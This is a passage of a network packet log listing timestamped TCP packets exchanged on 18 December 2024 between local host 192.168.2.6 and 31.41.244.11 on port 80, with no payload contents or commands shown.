Dec 18, 2024 11:47:18.121721029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.122708082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.122751951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.123208046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.123616934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.123900890 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.123951912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.124090910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.124130011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.125037909 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.125082970 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.125158072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.125297070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.126239061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.126283884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.126364946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.126405954 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.127403021 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.127453089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.127613068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.127655029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.128513098 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.128561974 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.258199930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.258250952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.258274078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.258291960 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.258764029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.258812904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.258966923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.259008884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.259586096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.259601116 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.259634972 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.260713100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.260761023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.260838032 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.260883093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.262036085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.262083054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.262425900 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.262470961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.263134956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.263183117 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.263499022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.263545990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.264245033 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.264292955 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.264656067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.264715910 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.265408039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.265454054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.265630960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.265675068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.266704082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.266717911 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.266765118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.266765118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.267770052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.267782927 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.267836094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.268918991 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.268933058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.268969059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.268990040 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.270147085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.270160913 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.270204067 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.271253109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.271303892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.271306038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.271342993 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.272402048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.272476912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.272572041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.272614002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.273576975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.273616076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.273781061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.273827076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.274769068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.274818897 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.275234938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.275280952 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.275913954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.275955915 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.276154041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.276199102 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.277108908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.277151108 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.277189016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.277232885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.278285027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.278296947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.278340101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.279949903 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.279963017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.279999018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.280615091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.280658960 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.280924082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.280966043 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.281876087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.281923056 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.281929016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.281971931 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.283031940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.283082008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.283179045 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.283221006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.284148932 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.284194946 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.284275055 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.284317970 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.285274982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.285320997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.285406113 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.285450935 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.286478043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.286525965 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.286580086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.286623955 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.287611008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.287657976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.288372993 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.288417101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.288821936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.288872004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.288893938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.288937092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.289963007 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.290019989 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.290244102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.290293932 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.291136026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.291184902 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.291429043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.291475058 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.292376995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.292423010 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.292537928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.292613983 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.293476105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.293524981 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.293606997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.293646097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.294657946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.294708967 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.295502901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.295551062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.295806885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.295852900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.296084881 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.296128988 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.296999931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.297045946 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.297163963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.297214985 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.298151970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.298202038 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.298265934 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.298307896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.299320936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.299380064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.299402952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.299446106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.300492048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.300543070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.300614119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.300652981 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.301733017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.301745892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.301783085 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.301804066 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.302879095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.302927971 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.303167105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.303212881 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.304006100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.304065943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.304533005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.304585934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.305181980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.305231094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.305295944 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.305340052 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.306324005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.306372881 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.307216883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.307282925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.307497978 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.307538033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.307694912 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.307739973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.308664083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.308713913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.308856964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.308909893 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.309834957 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.309884071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.310520887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.310580969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.311038971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.311052084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.311089993 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.311111927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.312336922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.312383890 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.312666893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.312716007 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.313381910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.313410044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.313430071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.313437939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.314517975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.314575911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.314661980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.314707041 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.315725088 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.315778017 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.315862894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.315907955 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.316878080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.316925049 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.316984892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.317033052 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.318033934 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.318082094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.318145990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.318196058 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.319205046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.319251060 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.449074030 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.449132919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.449136019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.449168921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.449693918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.449734926 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.449805021 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.449840069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.450615883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.450670958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.450692892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.450737953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.452080965 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.452138901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.452142954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.452182055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.453088999 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.453232050 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.453478098 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.454185963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.454206944 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.454226017 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.454248905 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.455235958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.455281019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.455378056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.455421925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.456413984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.456466913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.457076073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.457119942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.457664013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.457674980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.457719088 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.458802938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.458858013 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.458973885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.459014893 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.459953070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.460014105 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.460079908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.460119009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.461088896 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.461134911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.461303949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.461355925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.462343931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.462393045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.462765932 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.462825060 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.463454962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.463495016 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.464536905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.464601994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.464673996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.464688063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.464710951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.464829922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.465771914 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.465820074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.465990067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.466031075 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.466947079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.466975927 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.466984987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.467009068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.468121052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.468158960 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.468162060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.468233109 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.469274044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.469310045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.469372034 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.469419003 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.470489979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.470545053 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.470860004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.470906019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.471621990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.471666098 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.471930027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.471972942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.472805023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.472848892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.473021030 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.473057032 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.474023104 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.474036932 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.474076986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.474076986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.475127935 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.475197077 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.475338936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.475378990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.476337910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.476387024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.476553917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.476600885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.477452993 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.477530956 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.477659941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.477699995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.478673935 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.478693008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.478761911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.478761911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.479855061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.479899883 CET	49806	80	192.168.2.6	31.41.244.11
